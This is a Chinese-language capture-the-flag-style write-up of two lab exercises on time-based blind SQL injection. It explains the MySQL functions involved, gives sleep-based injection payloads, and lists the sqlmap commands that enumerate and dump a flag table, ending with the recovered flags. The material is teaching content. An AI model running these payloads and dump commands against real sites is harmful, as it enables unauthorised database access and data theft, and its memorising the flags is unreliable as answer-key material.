所谓的盲注就是在服务器没有错误回显的时候完成的注入攻击。 服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”。 相关函数 length() => 返回(字符串)长度的数值 substr([],[A],[B]) => 返回[]值中,[A]开始[B]位后的字符值 ascii() => 通过数值返回(此处内容)的阿斯克码 sleep() if(expr1.expr2,expr3) =>判断语句,第一个正确执行2,错误执行3
页面原始URL:http://inject2.lab.aqlab.cn:81/Pass-13/index.php?id=1 任务: 通过延时注入获得flag。 对该页面进行GET传参,传参名为id
我们发现,在这个页面,无论传入怎样的参数,页面始终都不会变化,我们无法从页面变化得知数据库是否执行了我们的传参
通过sleep函数确定存在时间盲注 传入,等待四秒后页面才返回,确定存在盲注 " and sleep(4) -- qww
依次确定数据库名字 构造 http://inject2.lab.aqlab.cn:81/Pass-13/index.php?id=1" and if(substr(database(),1,1)="k",sleep(3),1) -- qww 可以看到页面过了3s才返回,确定了存在时间盲注。
基本原理搞懂了,不可能依次手注,于是上工具走流程 python sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-13/index.php?id=1 --batch --flush-session --current-db --level=3 --risk=3 python sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-13/index.php?id=1 --batch --level=3 --risk=3 -D kanwolongxia --tables python sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-13/index.php?id=1 --batch --level=3 --risk=3 -D kanwolongxia -T loflag --columns
python sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-13/index.php?id=1 --batch --level=3 --risk=3 -D kanwolongxia -T loflag -C flaglo --dump 不调高等级跑不出来。 最后成功得到flag:zKaQ-time-hj
页面原始URL:http://inject2.lab.aqlab.cn:81/Pass-14/index.php?id=1 任务: 通过延时注入获得flag。 对该页面进行GET传参,传参名为id
与延时注入rank1都一样,通过’) and sleep(4) – qww确定存在注入,然后上工具 成功得到flag:zKaQ-time-zxxz